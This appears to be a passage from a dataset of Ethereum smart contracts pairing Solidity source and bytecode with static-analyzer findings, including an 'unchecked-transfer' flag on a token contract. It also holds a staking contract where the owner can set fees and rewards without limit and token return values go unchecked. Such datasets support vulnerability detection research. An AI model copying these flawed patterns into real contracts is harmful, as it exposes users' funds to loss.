RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a76565b005b34156103f057600080fd5b6103f8610c71565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610caa565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d36565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610dbd565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280601181526020017f5768697465204769726c2057617374656400000000000000000000000000000081525081565b60008061067f3385610d36565b148061068b5750600082145b151561069657600080fd5b6106a08383610f1e565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d6848484611010565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a6c576109676b06f2c4e995ec98e2000000006004546113f6565b8211156109775760009050610a71565b6109bf6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140f565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0d6004548361140f565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a71565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0f57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb457600080fd5b5af11515610bc157600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f574757000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0557600080fd5b600560009054906101000a900460ff1615610d235760009050610d30565b610d2d838361142d565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e5457600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104d57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110da57600090506113ef565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112957600090506113ef565b60008211801561116557508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611385576111f0600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b86000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113426000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140f565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561140457fe5b818303905092915050565b600080828401905083811015151561142357fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146a57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b95760009050611679565b6000821180156114f557508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561160f576115426000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cc6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140f565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a7230582077fb6ed72adbdc82531ea678ee46b2955372a9623cf1df574d758e96600d42e40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,192 |
0x24ffcd7e82808f0b8fc6f49ff0b8861383560676
|
/**
*Submitted for verification at Etherscan.io on 2020-10-08
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract MasterFarmingMinionETHLP is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 15000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 48 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function farm(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unfarm(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "For UnFarming Need Time 48 Hours after Start Farming");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function harvest() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636654ffdf11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610758578063f3073ee71461079c578063f3f91fa0146107e2578063f851a4401461083a576101cf565b8063c326bf4f146106a6578063d578ceab146106fe578063d816c7d51461071c578063f1587ea11461073a576101cf565b80639d76ea58116100de5780639d76ea5814610596578063a89c8c5e146105ca578063bec4de3f14610644578063c0a6d78b14610662576101cf565b80636654ffdf146104ec5780636a395ccb1461050a5780637b0a47ee14610578576101cf565b8063455ab53c11610171578063538a85a11161014b578063538a85a1146103f0578063583d42fd1461041e5780635ef057be146104765780636270cd1814610494576101cf565b8063455ab53c146103825780634641257d146103a25780634908e386146103ac576101cf565b80632ec14e85116101ad5780632ec14e851461029e578063308feec3146102d257806337c5785a146102f0578063384431771461033e576101cf565b8063069ca4d0146101d45780631c885bae146102185780631e94723f14610246575b600080fd5b610200600480360360208110156101ea57600080fd5b810190808035906020019092919050505061086e565b60405180821515815260200191505060405180910390f35b6102446004803603602081101561022e57600080fd5b81019080803590602001909291905050506108d5565b005b6102886004803603602081101561025c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e36565b6040518082815260200191505060405180910390f35b6102a6610fa3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102da610fc9565b6040518082815260200191505060405180910390f35b6103266004803603604081101561030657600080fd5b810190808035906020019092919080359060200190929190505050610fda565b60405180821515815260200191505060405180910390f35b61036a6004803603602081101561035457600080fd5b8101908080359060200190929190505050611049565b60405180821515815260200191505060405180910390f35b61038a6110b0565b60405180821515815260200191505060405180910390f35b6103aa6110c3565b005b6103d8600480360360208110156103c257600080fd5b81019080803590602001909291905050506110ce565b60405180821515815260200191505060405180910390f35b61041c6004803603602081101561040657600080fd5b8101908080359060200190929190505050611135565b005b6104606004803603602081101561043457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061164b565b6040518082815260200191505060405180910390f35b61047e611663565b6040518082815260200191505060405180910390f35b6104d6600480360360208110156104aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611669565b6040518082815260200191505060405180910390f35b6104f4611681565b6040518082815260200191505060405180910390f35b6105766004803603606081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611687565b005b610580611817565b6040518082815260200191505060405180910390f35b61059e61181d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062c600480360360408110156105e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611843565b60405180821515815260200191505060405180910390f35b61064c6119e5565b6040518082815260200191505060405180910390f35b61068e6004803603602081101561067857600080fd5b81019080803590602001909291905050506119eb565b60405180821515815260200191505060405180910390f35b6106e8600480360360208110156106bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a52565b6040518082815260200191505060405180910390f35b610706611a6a565b6040518082815260200191505060405180910390f35b610724611a70565b6040518082815260200191505060405180910390f35b610742611a76565b6040518082815260200191505060405180910390f35b61079a6004803603602081101561076e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aaf565b005b6107ca600480360360208110156107b257600080fd5b81019080803515159060200190929190505050611bfe565b60405180821515815260200191505060405180910390f35b610824600480360360208110156107f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7b565b6040518082815260200191505060405180910390f35b610842611d93565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c957600080fd5b81600481905550919050565b80600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6007546109df600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611db790919063ffffffff16565b11610a35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806123086034913960400191505060405180910390fd5b610a3e33611dce565b6000610a69612710610a5b6006548561207290919063ffffffff16565b6120a190919063ffffffff16565b90506000610a808284611db790919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610b3557600080fd5b505af1158015610b49573d6000803e3d6000fd5b505050506040513d6020811015610b5f57600080fd5b8101908080519060200190929190505050610be2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c7557600080fd5b505af1158015610c89573d6000803e3d6000fd5b505050506040513d6020811015610c9f57600080fd5b8101908080519060200190929190505050610d22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610d7483600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db790919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcb33600b6120ba90919063ffffffff16565b8015610e1657506000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610e3157610e2f33600b6120ea90919063ffffffff16565b505b505050565b6000610e4c82600b6120ba90919063ffffffff16565b610e595760009050610f9e565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610eaa5760009050610f9e565b6000610efe600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611db790919063ffffffff16565b90506000600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610f95612710610f87600454610f7987610f6b6003548961207290919063ffffffff16565b61207290919063ffffffff16565b6120a190919063ffffffff16565b6120a190919063ffffffff16565b90508093505050505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610fd5600b61211a565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461103557600080fd5b826005819055508160068190555092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffff